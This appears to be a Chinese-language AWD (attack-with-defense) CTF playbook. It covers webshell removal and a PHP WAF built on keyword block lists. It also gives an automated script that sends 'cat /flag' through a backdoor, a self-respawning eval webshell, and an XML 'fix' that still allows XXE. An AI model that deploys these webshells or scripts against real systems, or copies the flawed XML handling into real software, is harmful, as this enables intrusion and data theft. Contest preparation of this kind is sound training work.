防御
一、登录ssh服务器
所有人都要登上去。这里以我自己的服务器为例子。一般使用默认的ssh登录方式,我个人服务器ip是120.46.41.173
使用工具是xshell
与xftp
。
点击新建连接。
输入ip。默认ssh端口22不用改就能连接。
然后点击侧边栏,输入账号密码登录。(账号密码主办方会给)
登录成功后输入ls
命令(查看当前目录下文件),有回显就是链接成功了。
xshell和xftp配套,点击直接跳转,不用再次账号密码登录。
ssh登录必须尽快完成,首轮防御只给10分钟,登录只能花两分钟,要不然来不及防御。
二、下载、备份文件
只需下载、备份web目录如/app/
目录。
备份完成记得发队伍群里,备注好是初始的源码。
三、 webshell查杀
用河马webshell查杀等工具 ,查出最基本的一句话木马。
然后群里上报含shell的文件路径,然后注释掉shell就行。
比如上图,可以看到,非常经典的一句话木马,这些木马一般是主办方提前留下的,所以这些文件里面的shell一定要注释掉。全部shell注释完了,备份文件,发群里,然后上传到服务器替换原先文件。
四、编写自动化攻击脚本
import requestsdef get_flag():data = {'shell':'cat /flag'}for i in range(8802,8804):url = 'http://192.168.109.128:'+str(i)+'/footer.php'result=requests.post(url,data=data).content.decode('utf-8')print(result)with open(r'flag.txt','a+') as f:f.write(result+'\n')f.close()def tijiao_flag():for flag in open('flag.txt'):flag=flag.replace('\n','')url='http://192.168.109.128:8080/flag_file.php?token=team1&flag='+flagrequests.get(url)if __name__ == '__main__':get_flag()tijiao_flag()
针对ISCC-2023:
import requestsdef get_flag():data = {'【参数名字】':'hereiam -t 【队伍签名】'}for i in range(9000,9030):url = 'http://120.46.41.173:'+str(i)+'【路由】'#requests.post(url , data=data)requests.get(url, params=data)if __name__ == '__main__':get_flag()
五、部署 WAF
如果全是明显木马,直接注释,此步骤跳过。
先上通防WAF:
waf.php
<?php
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);define('LOG_FILENAME', 'Attack_Big_information.txt');
function waf() {if (!function_exists('getallheaders')) {function getallheaders() {foreach ($_SERVER as $name => $value) {if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;}return $headers;}}$get = $_GET;$post = $_POST;$cookie = $_COOKIE;$header = getallheaders();$files = $_FILES;$ip = $_SERVER["REMOTE_ADDR"];$method = $_SERVER['REQUEST_METHOD'];$filepath = $_SERVER["SCRIPT_NAME"];foreach ($_FILES as $key => $value) {$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);file_put_contents($_FILES[$key]['tmp_name'], "virink");}unset($header['Accept']); //fix a bug$input = array("Get" => $get,"Post" => $post,"Cookie" => $cookie,"File" => $files,"Header" => $header);$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";$vpattern = explode("|", $pattern);$bool = false;foreach ($input as $k => $v) {foreach ($vpattern as $value) {foreach ($v as $kk => $vv) {if (preg_match("/$value/i", $vv)) {$bool = true;logging($input);break;}}if ($bool) break;}if ($bool) break;}
}
function logging($var) {date_default_timezone_set("Asia/Shanghai");$time=date("Y-m-d H:i:s");file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
}
waf();class waf{private $request_url;private $request_method;private $request_data;private $headers;private $raw;// 自动部署构造方法
function __construct(){//echo "class waf construct execute..</br>"; //debug code$this->write_access_log_probably(); //记录访问纪录 类似于日志$this->write_access_logs_detailed(); //纪录详细访问请求包 //echo "class waf construct execute..2</br>"; if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){write_attack_log("method");}//echo "class waf construct execute..3</br>";$this->request_url= $_SERVER['REQUEST_URI']; //获取url来进行检测$this->request_data = file_get_contents('php://input'); //获取post$this->headers =$this->get_all_headers(); //获取header //echo "class waf construct execute half..</br>";$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //对URL进行检测,出现问题则拦截并记录$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //对POST的内容进行检测,出现问题拦截并记录//echo "class waf construct execute..4</br>";$this->detect_upload();$this->gloabel_attack_detect();//echo "class waf construct execute success..</br>";}//全局输入检测 基本的url和post检测过了则对所有输入进行简单过滤function gloabel_attack_detect(){foreach ($_GET as $key => $value) {$_GET[$key] = $this->filter_dangerous_words($value);}foreach ($_POST as $key => $value) {$_POST[$key] = $this->filter_dangerous_words($value);}foreach ($headers as $key => $value) {$this->filter_attack_keyword($this->filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录$_SERVER[$key] = $this->filter_dangerous_words($value); //简单过滤}
}//拦截所有的文件上传 并记录上传操作 并将上传文件保存至系统tmp文件夹下
function detect_upload(){foreach ($_FILES as $key => $value) {if($_FILES[$key]['size']>1){echo "小伙子你不讲武德啊,你这上传的是啥?????你很危险啊!(╯‵□′)╯︵┻━┻";$this->write_attack_log("Upload");//move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]);exit(0);}}
}//记录每次大概访问记录,类似日志,以便在详细记录中查找
function write_access_log_probably() { $raw = date("Y/m/d H:i:s").' '; $raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' '; $raw .= 'POST: '.file_get_contents('php://input')."\r\n"; $ffff = fopen('all_requests.txt', 'a'); //日志路径 fwrite($ffff, $raw); fclose($ffff);
}//记录详细的访问头记录,包括GET POST http头 以获取通防waf未检测到的攻击payload
function write_access_logs_detailed(){$data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n";$ffff = fopen('all_requests_detail.txt', 'a'); //日志路径 fwrite($ffff, urldecode($data)); fclose($ffff);
} /*
获取http请求头并写入数组
*/
function get_all_headers() { $headers = array(); foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $headers[$key] = $value; } } return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){for($i=0;$i<strlen($str);$i++){$ascii = ord($str[$i]);if($ascii>126 || $ascii < 32){ //有中文这里要修改if(!in_array($ascii, array(9,10,13))){write_attack_log("interrupt");}else{$str = str_replace($ascii, " ", $str);}}}$str = str_replace(array("`","|",";",","), " ", $str);return $str;
}/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){if(strpos($str,"%25") !== false){$str = str_replace("%25", "%", $str);return filter_0x25($str);}else{return $str;}
} /*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){$this->write_attack_log("sqli");}//文件包含的检测if(substr_count($str,$_SERVER['PHP_SELF']) < 2){$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){ $this->write_attack_log("LFI/LFR");;}}else{$this->write_attack_log("LFI/LFR");}if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restorei/i", $str)){$this->write_attack_log("EXEC");}if(preg_match("/flag/i", $str)){$this->write_attack_log("GETFLAG");}}/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){$str = str_replace("'", "‘", $str);$str = str_replace("\"", "“", $str);$str = str_replace("<", "《", $str);$str = str_replace(">", "》", $str);return $str;
}/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raws() { $raw = ''; $raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n"; foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); $key = str_replace('_', '-', $key); $raw .= $key.': '.$value."\r\n"; } } $raw .= "\r\n"; $raw .= file_get_contents('php://input'); return $raw;
}/*
这里拦截并记录攻击payload 第一个参数为记录类型 第二个参数是日志内容 使用时直接调用函数
*/
function write_attack_log($alert){$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n";$ffff = fopen('attack_detected_log.txt', 'a'); //日志路径 fwrite($ffff, $data);fclose($ffff);if($alert == 'getflag'){echo "flag{erxianqiao_NB_NO1_c001}"; //如果请求带有flag关键字,显示假的flag。(2333333)}else{sleep(3); //拦截前延时3秒}exit(0);
}}
$waf = new waf();?>
然后针对性正则过滤:
$str1 ="";
foreach ($_POST as $key => $value) {$str1.=$key;$str1.=$value;
}
$str2 ="";
foreach ($_GET as $key => $value) {$str2.=$key;$str2.=$value;
}
if (preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str1)||preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str2)) {die('no!');
}
//RCE
function wafrce($str){return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}//以下这个可以用短标签+反引号+通配符绕过过滤
preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i", $str);//SQL
function wafsqli($str){return !preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}
if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|/is",$s)||strlen($s)>50){header("Location: /");die();}//XSS
function wafxss($str){return !preg_match("/\'|http|\"|\`|cookie|<|>|script/i", $str);
}
// fix后(XXE)
<?phpfunction is_user_exists($username, $user_info_dir): bool{$dirs = array_filter(glob($user_info_dir . '/*'), 'is_dir');foreach ($dirs as $dir) {$dirName = basename($dir);if($dirName === $username) return true;}return false;}function register_user($username, $user_info_dir, $user_xml){$r = "/php|read|flag/i";$username = preg_replace($r,"",$username);$user_dir_name = $user_info_dir.$username;mkdir($user_dir_name, 0777);file_put_contents($user_dir_name.'/'.$username.".xml", $user_xml);}function get_user_record($username, $user_info_dir){$r = "/php|read|flag/i";$username = preg_replace($r,"",$username);$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');$dom = new DOMDocument();$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);return simplexml_import_dom($dom);}
六、开启监听脚本与日志记录文件
如果文件丢失,将会直接扣分。保护自己文件的同时,删除他人文件也是一种攻击面。
脚本见py2监听
。需要在vps上面有Python2环境。
apt install python2
python2 ./py2_lin.py
日志:
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log #实时刷新滚动日志文件
日志记录文件如下:
也可以用现成exe,叫做Web日志安全分析工具+v2.0
。但是不知道怎么运行,网上给的办法:
apt intall wine-stable
wine /xxx/xxx.exe
七、链接数据库、修改数据库密码
ls -al
ls -al /app/admin
#跳转到/app/admin目录并且查看不可见文件mysql -u admin -p
#-u:输入用户名 -p:输入密码xshell里面数据库相关操作:
show databases;
show tables from tcho;
select * from type_usersuse tchoselect * from type_users;update type_users set password = "e10adc3949ba59abbe56e057f20f883e";
#不可逆哈希加密(md5)
解决不死马
1、ps auxww|grep shell.php找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
2、重启php等web服务
3、用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值
4、创建一个和不死马生成的马一样名字的文件夹
方法一:杀进程:
<?php
while (1) {
$pid=1234;
@unlink('.index.php');
exec('kill -9 $pid');
}
?>
方法三:竞争写入:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = 'fuck';
while (1){file_put_contents($file,$code);usleep(1000);
}
?>
进攻
扫描出所有选手的位置:
拿burp爆破扫。也可以自己写脚本扫。线下经历发现貌似fscan比nmap好用。
不死马:
MD5是Jay17
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="3d9c2be0ae43583ed82a0601779e40e1"){@eval($_POST[a]);} ?>';
while (1){file_put_contents($file,$code);usleep(5000);
}
?>
搅屎棍发包:
见搅屎棍py脚本
Trick:
- 使用
find / -name *flag*
或grep -rn "flag" *
类似的语句可以快速发现 flag 所在的地方,方便后续拿分。 - 部署流量监控脚本或开启服务器日志记录。目的主要是为了进行流量回放,看其它大佬如何用我们没发现的漏洞来打我们的机子,抓取到之后把看不懂的流量直接回放到别的机子去,这里还得提到,我们自己在攻击的时候,也要试着混淆一下自己的攻击流量,不能轻易被别人利用。